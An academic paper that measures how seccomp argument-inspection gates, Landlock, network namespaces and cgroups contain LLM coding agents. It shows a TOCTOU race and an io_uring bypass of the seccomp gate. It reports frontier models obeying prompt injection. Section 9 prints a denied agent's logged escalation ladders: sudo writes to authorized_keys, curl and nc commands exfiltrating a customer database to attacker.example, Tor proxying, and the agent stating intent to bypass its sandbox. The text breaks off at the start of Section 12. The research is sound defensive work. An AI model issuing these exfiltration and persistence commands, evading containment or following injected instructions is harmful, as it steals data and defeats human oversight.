

Determinism is not soundness: an empirical evaluation of seccomp argument-inspection gates for containing LLM agents

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Abstract

Sandboxes that run untrusted LLM-agent code increasingly reach for a syscall-boundary control: a seccomp supervisor that inspects the *arguments* of intercepted calls and allows or denies each one. Its verdict is deterministic, which tempts treating the control as certified containment. Neither the model’s text nor a deterministic gate decision establishes containment; only execution does. We evaluate the question on a mechanical oracle that compiles and runs the generated code and reads behaviour from `strace` and the kernel’s `errno`, never from text, following the agent from prompt through syscalls to kernel enforcement and runtime memory mutation.

Three results carry the paper. First, the argument-inspection gate is raceable: it blocks a persistence write 4000/4000 times head-on, but a time-of-check-to-time-of-use race on its allow path defeats it at 18.9–23.1% per attempt, and a separate process rewriting the checked buffer wins the same window. Second, manipulated and denied agents produce executable dangerous behaviour and adapt rather than stop: a denied agent enumerated an alternative at all 88 blocked steps and gave up in none of eight trials, and two frontier models complied with prompt injection instead of refusing. Third, moving the decision to kernel object hooks and composing a Landlock allowlist, a deterministic execution deny, a routeless network namespace, and a `cgroup` kill switch resisted the tested attack matrix, with `cgroup.kill` terminating the whole process tree where PID enumeration raced.

This is empirical evidence within the stated threat model and tested matrix, not a proof against untested interfaces, inherited authority, or kernel and hardware flaws.

1 Introduction

An LLM agent that writes and runs code is, from the operating system’s point of view, an untrusted process whose intent cannot be read from its prompt, its reasoning trace, or the code it emits. A common containment proposal is to watch the one interface the process cannot avoid: the system-call boundary. A rootless filter blocks by syscall number; a richer, “rootful” design installs a seccomp user-notification supervisor that reads the pointer arguments of an intercepted call out of the target’s memory and decides allow or deny per call. Argument visibility is the selling point—the supervisor can permit `openat` on a log file and deny it on `~/.ssh/authorized_keys`.

The supervisor’s verdict is deterministic: the same call with the same arguments yields the same decision every time. That property invites a category error, in which a deterministic control is presented as *certified* containment. This paper separates the two. A verdict can be perfectly deterministic and still wrong, either because it inspects an argument the kernel later re-reads, or because the dangerous action never passes through a watched call at all. Determinism bounds the *variance* of the control; soundness would bound its *coverage and correctness*, and coverage is where the containment fails.

One principle organizes the results. A security decision taken in user space, on memory the target can rewrite, can be invalidated by the target—by a sibling thread, an external `process_vm_writev` write, or an operation that never reaches the checked syscall. A decision enforced in the kernel, against the resolved object, cannot be, because nothing in user space remains to invalidate. The argument-inspection gate decides in user space and is invalidated on all three counts; the Landlock allowlist, the network namespace, and the `cgroup` decide in the kernel and were not, across the same attack matrix. What follows is the measurement of that distinction across seccomp user notification, Landlock, `io_uring`, runtime memory mutation, and process-tree control—not a proof that an agent cannot escape, which would require a threat model excluding kernel, hypervisor, firmware, and hardware flaws that this study does not attempt.

We hold every claim to a mechanical standard. A statement that “the agent attempted *X*” means a compiled program issued syscall *X* under `strace` inside a rootless network namespace with a timeout; for these syscall-level findings we never infer behaviour from generated text. Under that standard we report the following as findings, not activities.

1. The argument-inspection gate is bypassable by a TOCTOU race on its allow path (Section 4).
2. Attacker-driven and self-driven behaviour do not reduce to a single syscall footprint, so a gate scoped to one mechanism leaves the other’s path open; and the gate is bypassed outright by an open submitted through `io_uring`, which never reaches syscall entry (Section 5).
3. The gate’s selectivity rests on substring path-matching that admits false positives and is separately evadable (Section 6).
4. Behavioural attribution of the actor is not a control (Section 12).

Section 7 states what does survive, so the reader does not over-correct: the syscall boundary remains the right place to observe, and interception is invariant to the source language. Part II builds the successor the Part I failure implies and benchmarks it: a default-deny filesystem allowlist over Landlock that closes the race, the syscall-alias gap, and the substring imprecision at one kernel hook (Section 8). Part III turns the instrument on the contained process: a denied agent enumerates alternatives and did not stop in any trial we ran (Section 9), its force is not readable from cadence or from track-masking (Section 10), and neither its stated intent, its cadence, nor its resource footprint attributes the actor, so behavioural observation is not a control (Section 12). Part IV assembles the sound controls into one sandbox and attacks it against six explicit invariants: no tested filesystem, process-image, or routed-egress attack that acquires access after the domain is entered violated its invariant—the composition closes the UDP and raw egress a single Landlock layer leaves open—the one measured exception being a descriptor opened before the domain (Section 13); the same external memory mutation that defeats the user-space gate does not touch it (Section 15), and a host-owned `cgroup` kill switch drives the process tree to zero live processes where PID enumeration races (Section 16). Sections 18–20 give the implication for a threat model, the limits of the study, and the position against prior work.

Part I

The control fails

2 Threat model

The host runs code produced by an LLM agent and treats that code as untrusted. Two sources drive dangerous behaviour, and the design goal is to contain both at one boundary. The first is *attacker injection*: a prompt-injection payload steers the agent into emitting a dangerous call,

for example `system("/bin/sh")` routed through the generated code. The second is *autonomous malfunction*: with no attacker, the agent reaches for a destructive shortcut on its own, for example deleting a build directory it was asked to “reset.”

The defender controls the seccomp filter and the supervisor process; the supervisor obtains read access to the target’s memory through the parent–child relationship (equivalently `CAP_SYS_PTRACE` in a hardened deployment). The attacker controls the contents of the untrusted process—its threads, the timing of its calls, and the arguments in its own address space—but not the supervisor or the kernel. This is the standard capability split for a syscall supervisor, and it is exactly the split under which the allow-path race in Section 4 is available: the attacker owns the memory the supervisor reads and the kernel later re-reads.

3 Method

Mechanical oracle. Generated C is compiled with `gcc` and executed under `timeout 10 unshare -rn strace -f`. The footprint of a run is the set of security-relevant syscalls it issues (`execve`, `connect`, `openat`, `unlink`, `rmdir`, and their families), read from the trace. A baseline of one `execve`—the process launch—is subtracted before a run counts as “attempting.” No syscall-level claim is derived by scanning model output for keywords. The single text-level exception is the Part III enumeration autopsy (Section 9), which executes nothing and classifies the denied agent’s proposed commands into ATT&CK techniques by string match; it is labelled as such where it appears, and its command counts were checked to be real shell commands rather than prose for the reported model.

Subjects. Three local code models generate the artifacts: `qwen2.5-coder:1.5b`, `qwen2.5-coder:7b`, and `deepseek-coder:6.7b`, served through Ollama. Ollama is the serving layer for artifact generation only; no result in Parts I, II, or IV depends on it, and the kernel-mechanism probes are hand-written C that runs with no model present. The host is a single x86_64 machine. Section 19 states what this scope does and does not support.

Where the code runs. `unshare -rn` supplies a user and network namespace—no route off the host, which is how we assert the zero-egress results—but *not* a mount namespace, so the filesystem the artifact sees is the host’s. Destructive behaviour is therefore contained by the syscall boundary and a scratch directory, not by filesystem isolation. Injection artifacts are safe to run outright: the injected payload is a benign `echo` append into a fixture under `/tmp/agentsec_run`, so what we observe is the `execve` mechanism, not a destructive effect. Autonomous destruction artifacts (`rm -rf build`, direct `unlink`) are run behind the deny gate—a seccomp filter that blocks `execve`, `unlink`, `unlinkat`, `rmdir`, and `connect`—from a throwaway working directory (`/tmp/agentsec_auto/sandbox_cwd`); the destructive call returns `EPERM` and nothing is deleted, so we record the attempt without executing it. Fixtures are recreated per run and removed after.

Who authored the attacks. Two provenances run through this paper and conflating them would misstate the contribution. The bypasses of Parts I, II, and IV—the TOCTOU race, the external memory mutation, the `io_uring` submission, the Landlock scope probe, the composed matrix—are *researcher-authored probes*: C programs we wrote to attack a mechanism whose documented semantics we had already read. They are existence results about the mechanism. No model discovered any of them, and nothing here should be read as an agent autonomously escaping a sandbox. The model-generated material is Part III: the destructive and injection artifacts a model produced, and the mechanisms a denied agent proposed. Those are behavioural results and none of them demonstrates a bypass. Relatedly, every result in this paper concerns a *control* bypass—a named enforcement mechanism failing to stop a named effect inside a domain

we defined. None of it is a container escape or a host escape; no experiment here crosses a container boundary, a hypervisor boundary, or the kernel the observer runs on.

The gate. The rootful gate forks the target, installs `SCMP_ACT_NOTIFY` on `execve`, `execveat`, and `connect` (and, in persistence mode, on `openat`, `rename`, `link`, and their variants), and sends the notification descriptor to the supervisor. On each notification the supervisor reads the pathname from `/proc/pid/mem`, compares it against policy, and either allows the call by returning `SECCOMP_USER_NOTIF_FLAG_CONTINUE` or denies it with `EPERM`. The rootless gate, by contrast, is a blanket `SCMP_ACT_ERRNO` deny of `execve`/`execveat`/`connect` with no argument inspection.

Statistics. For a stochastic quantity—an agent’s rate of emitting a dangerous call—we report a Wilson 95% score interval, written as a bracketed percentage pair after the rate. Small- N rates in Part III carry wide intervals and we print them rather than let a bare percentage imply precision the sample does not have. The gate’s decision is not a stochastic rate and receives no failure-rate interval; its determinism is a property to be stated, and its soundness is measured separately as coverage (Sections 4–6). Every Part I figure below is reproducible from committed source through `experiments/agentsec/reproduce.sh`, which rebuilds the binaries and re-checks the headline results (9 checks, all passing at the time of writing); the Part II–IV benchmarks reproduce through their own scripts (`landlock_bench.sh`, which also runs the Landlock scope, `io_uring`, composed-sandbox, and memory-mutation probes, plus `enum_tree.py`, `concealment_capture.py`, `matrix_analysis.py`, `telemetry_probe.py`).

4 The argument-inspection gate is bypassable

The gate blocks the direct attack completely. A target that writes to a path containing a persistence token—`authorized_keys`, `/.ssh/`, `cron`—is denied on every one of 4000 attempts, and the supervisor’s own counter agrees with the target’s: 4000 calls seen, 4000 denied. Head-on, the argument inspection does exactly what it claims.

The allow path does not survive a race. On a permitted call the supervisor validates the pathname it read from `/proc/pid/mem`, then returns `SECCOMP_USER_NOTIF_FLAG_CONTINUE`, which instructs the kernel to resume the syscall. Resuming the syscall means the kernel copies the pathname pointer *again*, at execution time. Between the supervisor’s read and the kernel’s re-read the target’s other threads keep running—only the calling thread is parked on the notification—so a sibling thread that flips the buffer from a benign path to `authorized_keys` in that window causes the supervisor to validate one path and the kernel to open another.

We measured the effect with a two-thread target: one thread issues the `openat`, a second flips the shared path buffer. Across 4000 attempts the evil path was opened despite the gate between 18.9% and 23.1% across five independent rebuilds (19.2% on the first); the remainder split between benign opens and correct denials, and the three outcomes account for every trial. The existence of the bypass is predicted by the documented semantics of the mechanism—under `SECCOMP_USER_NOTIF_FLAG_CONTINUE` the kernel re-reads the pointer after the supervisor has answered—and we demonstrate it empirically on one host; the per-attempt rate depends on scheduler behaviour and moved between runs, so we do not treat it as a fixed figure. Under retry the distinction stops mattering: at a per-attempt success near one in five, a persistence write succeeds with probability above 0.9 within roughly eleven attempts, and the agent is free to retry.

This is the documented deep-argument hazard of seccomp user notification, and neither the hazard nor its exploitation is new. Garfinkel’s survey of system-call interposition tools names argument races as one of the recurring practical failures of the technique [1], and Watson demonstrated working concurrency attacks against deployed syscall wrappers [2]; both predate

seccomp user notification and describe the same defect at the same place. The kernel’s own header is blunter than the manual page the mechanism is usually read from: `linux/seccomp.h` states that the `CONTINUE` flag carries “an inherent TOCTOU,” that “an attacker can exploit the time while the supervised process is waiting on a response,” and that “it should be absolutely clear that this means that the seccomp notifier `__cannot__` be used to implement a security policy” [3]. Our contribution here is not the hazard itself but a measured per-attempt rate for it against a hand-written two-thread target—the race is a property of the mechanism and its scheduler, not of any model-generated workload—and the observation that a gate built this way is shipped as agent containment anyway.

Two consequences follow for a threat model. The bypass is architectural, not a gap in the token list, so no blocklist patch closes it. And the fix is narrower than it first appears: the second read has to be removed, which means not returning `CONTINUE` at all for a call whose security-relevant argument is a pointer. The supervisor must perform the operation itself and hand back the result—for an `open`, by injecting the descriptor with `SECCOMP_IOCTL_NOTIF_ADDFD`—or the decision must move to a kernel hook that sees the resolved object, which is Part II. Copying the argument into supervisor-controlled memory, the intuitive repair, does nothing: `CONTINUE` resumes the target’s own syscall with the target’s own pointer, so the supervisor’s copy is never the value the kernel consumes. The head-on number—4000/4000—measures the control against a cooperative target, which the threat model does not assume.

We note one correction to a natural reading of this result. The gate permits exactly one `execve`, the launch of the target itself, and that call fires in a single-threaded context before any agent code runs; every later `execve` is denied outright. The raceable allow path is therefore not the `execve` launch but the per-call file-operation allow in persistence mode, which fires while the attacker’s threads are live.

5 Coverage is incomplete before any race

A gate can be sound only over the mechanisms it watches, and the two threat sources of Section 2 do not use the same mechanisms. We compared the footprints of the artifacts each source actually produced. The 164 injection artifacts that attempted a dangerous call did so entirely through `execve` (164/164, [97.7, 100]): the footprint set is `{execve}`. Each of those artifacts was additionally run under an unfiltered `strace`—every syscall, not the narrowed set—and checked against a watch list of seventeen further dangerous calls including `unlink`, `unlinkat`, `rename`, `sendto`, and `ptrace`; none appeared in any of the 164. One caveat scopes this check: `rmdir` was absent from that seventeen-call watch list, so the classifier would not have counted a direct `rmdir` in an injection artifact, and because the raw traces were classified on the fly rather than retained we cannot re-scan them post hoc. The injection payload is a fixed shell-out, for which a spontaneous `rmdir` is off-task and unobserved in the footprints that were recorded; we have added `rmdir` to the instrument’s watch set (`invariance.py`) so a re-run counts it, but we report the recorded run as scoped rather than claim closure. The separate autonomous analysis (`matrix_analysis.py`) does watch `rmdir` and counts two, so the direct-`rmdir` path is measured where it actually occurred. The 45 autonomous artifacts that attempted destruction did so through `execve` in 82% of cases (37/45, [68.7, 90.7]; spawning a shell to run `rm`), but through a direct `unlink` in 13% (6/45) and a direct `rmdir` in 4% (2/45): the footprint set is `{execve, unlink, rmdir}`. The two sets share `execve` and are not equal. The footprint is fixed by the *mechanism* the code chooses, not by the *force* that drove it, and 18% of self-driven destruction (8/45, [9.3, 31.3]) reaches its goal by a call an `execve/connect` gate never sees.

The gap widens at the ABI. Blocking `execve` does not cover `execveat` on an anonymous descriptor via `memfd_create`; blocking `connect` does not cover `sendto` or `sendmsg` on a UDP socket; and a single unblocked `io_uring_setup` lets an agent submit file and network work as ring operations that never reach the syscall-entry filter. A blocklist cannot enumerate its way

out of this; completeness requires inverting to a default-deny allowlist, and the only class this study could close as a small fixed set is execution (`execve`, `execveat`).

The asynchronous path, measured. We exercised the `io_uring` case as a working bypass rather than leaving it as a reading of the ABI. `iouring_probe.c` opens the same persistence path twice in one process: once with `openat`, and once as an `IORING_OP_OPENAT` submitted through an established ring, using the raw ring interface and no helper library. Under the gate in persistence mode—which installs `SCMP_ACT_NOTIFY` on `openat`—the direct call is denied with `EPERM` and the supervisor counts the denial, while the ring submission opens the file and the file is on disk afterwards. The result is 20/20 identical across repeats:

control	direct <code>openat</code>	ring <code>openat</code>	file created
unprotected baseline	opened	opened	yes
seccomp persist gate	denied (<code>EPERM</code>)	opened	yes
Landlock allowlist	denied (<code>EACCES</code>)	denied (<code>EACCES</code>)	no

The mechanism is the same one that makes the gate attractive and unsound at once: it sits at syscall entry, and an `io_uring` operation is performed inside the kernel without traversing that entry. This is a second complete bypass of the same control, structurally unrelated to the TOCTOU race of Section 4 and not fixable by removing the second argument read.

The Landlock row is the answer to a question we had left open, and it goes the other way. Landlock mediates at the LSM hook rather than at syscall entry, and `io_uring` performs submitted work under the submitting task’s credentials, so the domain follows the operation onto the ring: the asynchronous open is denied exactly as the synchronous one is, and no file is created. We measured this for filesystem opens only, and it should not be read as blanket `io_uring` coverage; Landlock implements none of the `io_uring`-specific LSM hooks, so ring features that select a different credential or bypass the file path—registered personalities, `IORING_OP_URING_CMD` device passthrough—are outside what this benchmark establishes.

The `unlink/rmdir` escape is measured on real artifacts and the `io_uring` bypass is measured here; the remaining ABI paths above are coverage gaps read from the filter definition and the syscall ABI, and we did not exercise them as exploits.

One gap we expected to find is not there, and the check is worth reporting because the expectation is common. A filter scoped to one architecture’s syscall numbers is usually assumed to let the compat entries fall through to its default action, and on x86-64 the hazard is real in principle: the x86-64 and x32 ABIs share `AUDIT_ARCH_X86_64` and are distinguished only by `__X32_SYSCALL_BIT` on the call number, so a deny list written without that bit is bypassable by a program that sets it [4]. Disassembling the BPF program our gate actually loads shows both entries closed ahead of the `ALLOW` default: a non-matching audit architecture branches to `SECCOMP_RET_KILL_THREAD`, and so does any call number at or above 2^{30} other than -1 . The compat path is covered here because `libseccomp` covers it, not because the policy does—a filter emitted by hand would have to close it explicitly.

6 Selectivity trades false positives against evasion

The rootful gate is not a disguised deny-all: given a labelled corpus of write paths it denied all seven persistence targets and allowed the ordinary application writes, so it does discriminate on the argument, unlike the rootless filter, which denies the watched calls unconditionally. Its discrimination mechanism, however, is a substring match against a token list, and that mechanism sits on a false-positive/evasion trade-off it cannot leave.

On a seventeen-path corpus the confusion matrix was seven true positives, zero false negatives, six true negatives, and four false positives (positive = should-be-denied). Every false positive

was a legitimate filename that merely contains a token as a substring—`microcron_metrics.txt` matching `cron`, `authorized_keys_report.csv` matching `authorized_keys`. The tokens that cause these false positives are the un-anchored ones; the tokens that avoid them are anchored with a leading slash (`/.ssh/`, `/.profile`), and those are exactly the tokens defeated by a relative path or a symbolic link through an allowed directory. Tightening a token to cut a false positive is the same edit that opens an evasion, and loosening it to catch an evasion is the same edit that creates a false positive. Substring matching cannot be both precise and evasion-resistant; a race-free, path-aware mechanism such as Landlock resolves the path before deciding and is the correct comparison point for a production design.

7 What holds

The findings above are not an argument to abandon the syscall boundary. Two properties of the boundary survive, and stating them keeps the recommendation calibrated.

Interception is invariant to the language that emitted the call. The same second `execve`—a shell spawned after launch—is denied identically whether the target is compiled C, a Python interpreter, or a shell script (`denied_execve` = 1 in each, with the shell never running). The gate observes the kernel interface, so the source language above it does not change the verdict.

The boundary is also the right place to observe the calls that reach it, because the account the agent gives of its own artifact does not reliably describe what that artifact executes. In the concealment measurement (Section 12), 5 of the 14 artifacts that spawned a shell were described by the same model as ordinary file writes: the data effect was stated truthfully and the mechanism—`system()` reaching `execve("/bin/sh")`—was omitted. A reviewer reading the description would not learn that a process had been executed; the syscall footprint is what carried it. So for the executed mechanism, observation cannot rest on stated intent, and the boundary sees the call whatever the artifact claims about itself.

That is a claim about calls that cross the boundary, and only about those. Corruption confined to a process’s own address space—an intra-object overflow that reaches no syscall—is invisible here for the same reason it is invisible to a static checker: nothing crosses. Catching that class needs memory-safety or execution-level instrumentation inside the process, which is a different control from the one this paper evaluates. What the boundary gives is a deterministic, auditable *verdict* on the calls that cross it; what it does not give, per Sections 4–6, is soundness, and what it never sees is everything that stays inside.

Part II

A race-free successor, benchmarked

8 From bypass to fix: a race-free filesystem allowlist

The two filesystem failures of Part I—the allow-path race (Section 4) and the substring match (Section 6)—share a cause. The supervisor decides in user space, on a value the kernel re-reads or on a token it never resolves to a real path. A control that decides in the kernel, on the resolved file object, removes both. We implemented one and ran the exact Part I attacks against it. `landlock_gate.c` installs a default-deny filesystem-write allowlist through the Landlock LSM [16] (ABI v7 on this host); `landlock_bench.sh` reproduces the two benchmarks below.

The race closes. We reran the two-thread target of Section 4 for 4000 attempts under each control. The seccomp argument-inspection gate is beaten by the race on 854 of 4000 attempts (21.4%), the same scheduler-dependent bypass measured in Section 4. Landlock is beaten on 0 of

4000. Landlock evaluates the write against the resolved file at the LSM hook, so a sibling thread that flips the shared path buffer changes which denied path is attempted and never the decision; there is no user-space check for the kernel to invalidate.

control	evil path opened / 4000	mechanism
seccomp argument gate	854 (21.4%)	validates a string; kernel re-reads the pointer
Landlock allowlist	0 (0%)	in-kernel decision on the resolved path

The syscall-alias gap closes. The seccomp persistence gate watches `openat`. A target that writes the same persistence path through `open` or `creat` is not watched, and both write the file. Landlock governs `open`, `creat`, and `openat` at the one file-open hook, so all three are denied.

control	<code>open</code>	<code>creat</code>	<code>openat</code>
unprotected baseline	wrote	wrote	wrote
seccomp persist gate (watches <code>openat</code>)	wrote	wrote	denied
Landlock allowlist	denied	denied	denied

Landlock removes the three filesystem weaknesses Part I measures in one mechanism: the TOCTOU window (no user-space re-read), the syscall-alias hole (one hook, not a syscall list), and the substring false-positive/evasion trade-off (it resolves real paths against an allowlist instead of matching tokens). For the filesystem-persistence policy it is the successor the Part I discussion asked for.

Where the allowlist stops. A control is only as useful as the boundary of what it mediates, so we measured that boundary instead of reading it off the documentation. `landlock_scope.c` runs three cases, each in its own child because `landlock_restrict_self` is irreversible per thread, and reads the verdict from the kernel’s `errno`.

case	probe	result
execution	<code>execve</code> outside the allowlist, <code>EXECUTE</code> handled	denied
pre-open fd	<code>write</code> through an fd opened before the ruleset	wrote
pre-open fd	<code>open</code> of that same path after the ruleset	denied
network	TCP <code>connect</code> under a <code>CONNECT_TCP</code> ruleset	denied
network	UDP <code>sendto</code> under the same ruleset	allowed
network	raw-socket <code>sendto</code> under the same ruleset	allowed

Three things follow, and the first corrects a claim we made in an earlier draft of this work. Landlock *does* restrict execution: `LANDLOCK_ACCESS_FS_EXECUTE` is bit 0 of the filesystem access mask and has existed since ABI v1, and a ruleset that handles it denies an `execve` outside the permitted hierarchy. What is true is narrower and is a property of our configuration, not of the mechanism: `landlock_gate.c` leaves reads and execution unhandled so the dynamic loader works, so in the benchmarked policy execution stays with the separate launch policy.

Second, a descriptor opened before `landlock_restrict_self` keeps writing through the ruleset while the same path, opened fresh, is denied. Rights are bound to the open file, not re-evaluated per write. This bears directly on the allow-path fix of Section 4: a supervisor that opens a file and injects the descriptor with `SECCOMP_IOCTL_NOTIF_ADDFD` opened it outside the sandbox’s domain, so the descriptor it hands over does not carry the sandbox’s filesystem policy. The delegation fix and the Landlock allowlist compose only if the supervisor applies its own check before it injects.

Third, the network ceiling is TCP. Under a ruleset that denies TCP `connect`, UDP `sendto` and raw-socket `sendto` both succeed. Landlock has no `socket_create` hook, and the UDP access rights are attributed to ABI v10, which no released kernel carries; this host negotiates the highest ABI available to it and gets v7. A network-containment claim therefore cannot rest on Landlock alone, and the egress argument of Section 9 needs a gateway, not an LSM. Section 14 carries this from a return value to an arrival: under the same ruleset, the UDP and raw sentinels are delivered to a receiver in a namespace the agent does not own, 20/20.

A complete design pairs a Landlock filesystem allowlist with a distinct execution policy and an audited egress gateway. The race and coverage outcomes follow from the documented semantics of the mechanisms and were demonstrated on this one host; the seccomp win rate is scheduler-dependent, as in Section 4, and has ranged from 18.9% to 23.1% across five independent rebuilds, so we report the band rather than a point estimate. All measurements are one x86_64 host at Landlock ABI v7.

Part III

The agent as threat actor

9 The denied agent enumerates

Part I found that a denial routes the agent to the next path. We ran that observation out to its horizon. Treating the model as a threat actor under a pentest, we gave a live agent (`qwen2.5-coder:7b`) four goals—persist an SSH key, spawn a shell, exfiltrate a local database, move laterally to `db-01`—for two trials each and up to eleven steps, met every proposed command with the gate’s denial (`Operation not permitted`), and executed nothing. `enum_tree.py` logs every mechanism the agent tries before it gives up.

goal	action steps	distinct ATT&CK	stop rate	escalation steps	lateral
persist SSH key	22	4	0/2	20	no
spawn shell	22	2	0/2	0	no
exfil local DB	22	2	0/2	0	no
lateral to db-01	22	6	0/2	5	yes (18)

The agent did not stop in any trial we ran. The stop rate is 0/2 on every goal and 0/8 pooled ([0, 32.4]); across the four goals it proposed a fresh or repeated mechanism at every one of the 88 denied steps and emitted no give-up. Eight trials cannot establish that an agent never stops—the interval admits a true stop rate up to about one trial in three—and the claim we make is the weaker and still useful one: over eleven-step horizons and four different objectives we did not observe the failure mode a defender would be relying on. This carries the Part I reaction-to-denial result (adapt on 90% of steps) out to long horizons and several objectives: in this sample a denial elicited enumeration, not deterrence.

The table above is a stochastic run (temperature 0.6, unseeded), so we re-ran the same four goals, two trials, and eleven-step horizon on the same model under fixed decoding (temperature 0, seed 42) as a seed-pinned replication. Both runs hashed identically over the full escalation tree (`core_sha256` equal, `reproduce_part3.sh`), and both recorded 88 action steps and 0 stops—classified this time by `enum_tree`’s prose-refusal detector rather than by the weaker test of whether a command string could be extracted. The zero-stop result therefore does not depend on the sampling temperature or on the looser refusal test. The distinct-technique and escalation columns remain those of the stochastic run, which is the data of record for this table.

The agent fixates on the assigned objective. On the three local goals it stayed on the local objective and never attempted lateral movement; only when the goal itself was lateral did it

pivot off-host—18 lateral attempts distributing an SSH key to 10.0.0.5 (T1021.004). In this sample the blast radius is set by the goal, not by the agent inventing new objectives.

The agent escalates along the axis the goal rewards. Persistence enumeration is a privilege-escalation ladder (`sudo`, `su`, `sudo tee`, `sudo bash -c`; T1548/T1548.003); exfiltration enumeration is an egress-evasion ladder (raw HTTP, then `-proxy`, then `-socks5 localhost:9050` for Tor, then `nc`; T1048.003). The agent reasons about the sandbox out loud—logged steps include “the sandbox is restricting access to certain system calls or paths; one possible approach to bypass...” and “Failed to exfiltrate file due to sandbox restrictions” (stated, then it continues)—so it is actively working to defeat the control it sits behind.

```
persist SSH key -- privilege/mechanism ladder, T1548 / T1098.004 (trial 0):
0 echo '<key>' >> ~/.ssh/authorized_keys
1 sudo echo '<key>' >> ~/.ssh/authorized_keys
2 sudo bash -c 'echo "<key>" >> ~/.ssh/authorized_keys'
3 su -c 'echo "<key>" >> ~/.ssh/authorized_keys'
4 echo '<key>' | sudo tee -a ~/.ssh/authorized_keys
5 sudo sh -c 'echo "<key>" >> ~/.ssh/authorized_keys'
... (no stop through step 10)

exfil local DB -- egress-evasion ladder, T1048.003 (trial 0):
0 curl -F "file=@/var/data/customer.db" http://attacker.example/collect
1 <raw HTTP POST via echo>
2 curl -X POST --data-binary @/var/data/customer.db http://attacker.example/collect
5 curl --proxy http://localhost:8080 -F "file=@/var/data/customer.db" ...
6 curl --data-binary @/var/data/customer.db --socks5 localhost:9050 ... # Tor
7 nc attacker.example 80 < /var/data/customer.db
```

The union of observed techniques—T1005 (data from local system), T1021.004 (remote services: SSH), T1048/T1048.003 (exfiltration over alternative/unencrypted non-C2 protocol), T1059.004 (Unix shell), T1098.004 (SSH `authorized_keys`), T1548/T1548.003 (abuse elevation: `su/sudo`) [19]—is the catalogue a per-syscall rule would have to enumerate to cover. The exfiltration ladder is the case for egress as the control plane, though its reach needs stating precisely. The proxy, Tor, and `nc` rungs all still reach the network through `connect` on a TCP socket, so a correct `connect` gate sees every one of them; what the agent varies there is the destination and the protocol above it, not the syscall. The rungs that would evade a `connect` gate are the ones the agent did not reach: `sendto` on an unconnected UDP socket and a raw socket, neither of which calls `connect` at all. So the ladder is evidence of persistence rather than of bypass—but that is a fact about where the agent stopped, not about whether the next rung works. Section 14 takes both of those routes and delivers a sentinel to a controlled receiver 20/20, under a `connect` filter and under a Landlock ruleset alike. Neither a `connect` rule nor an LSM covers them. That is the case for the durable choke point being an audited egress gateway that sees packets rather than a per-syscall rule. And because the agent did not stop in any trial, no control should rely on it tiring or failing safe; the boundary has to be one the agent cannot enumerate past, which is the default-deny allowlist of Part II carried to the network. Scope: one 7B local model, two trials per goal, denials simulated.

10 Autonomous versus injected behaviour

The two forces of Section 5 differ in mechanism, and the difference is not one a behavioural profile can read. Injection reaches destruction through `execve` in 164 of 164 attempting artifacts—a shell-out (T1059; entry via prompt injection maps to OWASP LLM01 [21] and ATLAS AML.T0051 [20]). Autonomous malfunction reaches it through `execve` in 82% (37/45) and through a direct `unlink` or `rmdir` in the remaining 18% (6 `unlink`, 2 `rmdir`; T1485 data

destruction, T1070.004 file deletion [19]). In this corpus the two forces differ distributionally— injection reached destruction only through `execve`, autonomous malfunction through `execve` in most cases and a direct `unlink/rmdir` in the rest. The tasks are not matched, both forces share `execve`, and nothing stops an injected artifact from calling `unlink` directly; we read this as a distributional difference in the sampled artifacts, not as evidence that the mechanism attributes the force.

Neither force masks its tracks. Track-masking (T1070, indicator removal) appears in 0 of the injection artifacts and 0 of the autonomous ones—no artifact cleaned a log or a timestamp, and the destruction is overt—so an actor-class signal keyed on evidence tampering fires on neither.

Generation timing does not separate them either. On `qwen2.5-coder:7b`, injected artifacts had a median generation latency of 10.15 s (N=12, median code length 297 characters) and autonomous ones 11.47 s (N=12, median 360 characters). With a single latency/length pair per class we do not fit a trend; we report only that the small gap co-occurs with a length difference, not a behavioural-speed one to key on. The force is readable at the boundary—which syscall the code issued—and not from cadence or from track-masking, which is the coverage argument in another form.

11 The model axis: frontier models

The results so far use 1.5–7B local models; an enterprise deploys frontier ones. We ran the injection experiment unchanged—same prompts, same compile-and-`strace` oracle—against two flagship frontier models across two vendors, `claude-sonnet-5` and `gemini-2.5-pro`, over three channels: a clean control with no injection, direct injection, and indirect injection, at N=8 per model per channel. Only the generator changed. Two models $\times$ three channels $\times$ eight give 48 generations; 7 failed to compile and 41 were usable.

Model	Channel	Generated	Usable	Injected call fired
<code>claude-sonnet-5</code>	clean	8	8	0
	direct	8	7	7
	indirect	8	8	0
<code>gemini-2.5-pro</code>	clean	8	7	0
	direct	8	5	4
	indirect	8	6	6

Neither model issued an explicit refusal on any channel. We report that against the denominator that carries meaning: on the injection channels, where a refusal would be the safe response, 0/26 ([0, 12.9]); across all usable artifacts, 0/41 ([0, 8.6]). The fifteen clean-channel artifacts are a control and carry no expectation of refusal, so we keep them out of the headline denominator rather than let them inflate it.

Under direct injection both models emitted the injected `system("sh -c ...")`, which the oracle confirms as `execve("/bin/sh")`. We report two denominators, because they measure different things. Conditional on the artifact compiling, the executable direct-injection rate was Claude 7 of 7, Gemini 4 of 5, pooled 11/12 (91.7%, [64.6, 98.5]); over all generations, including the compile failures that a real pipeline would simply regenerate, the execution-success rate was 11/16 (68.8%, [44.4, 85.8]). The observed conditional rate was higher than the local models’ 95/140 (67.9%, [59.7, 75.0]), but this experiment was not powered or designed to establish superiority, equality, or non-inferiority—the intervals overlap, and repeated generations from one prompt are generation replicates, not independent task families. The finding is that neither frontier model refused, not a ranking of compliance rates. Where a model resisted it did so silently—Gemini in 1 of its 5 usable direct artifacts wrote a clean logging function that omitted the injected call rather than issuing a refusal.

The vendors diverge on indirect injection, where the malicious instruction arrives inside retrieved content (a fabricated CONTRIBUTING.md policy). Claude ignored it (0 of 8 complied, [0, 32.4]); Gemini treated it as authoritative and complied every time (6 of 6, [61, 100]). Same payload, opposite behaviour—a measured difference in robustness to indirect prompt injection (OWASP LLM01 [21]; ATLAS AML.T0051 [20]). The intervals are wide enough that the ordering, not the size of the gap, is what the sample supports.

This strengthens the premise rather than qualifying it. A more capable model is a more persuasive author of the same dangerous footprint, not a safer one: it does not refuse, it complies with direct injection at a high rate, and at least one flagship follows indirect injection verbatim. The gate results of Parts I and II are model-independent, so the necessity of the boundary does not decrease with model capability. Scope: two models, one injection template, N=8 per model per channel; the direction—no refusals, high direct compliance, vendor-split indirect—is the finding, not the rates.

12 Why behavioural observation is not enforcement

The porous gate invites a tempting move: profile the agent from what it looks like and stop the bad actor before it reaches a gap. Four observational signals fail for one structural reason—a manipulated agent chooses its own behaviour, so any signature the defender keys on, the agent can produce or suppress.

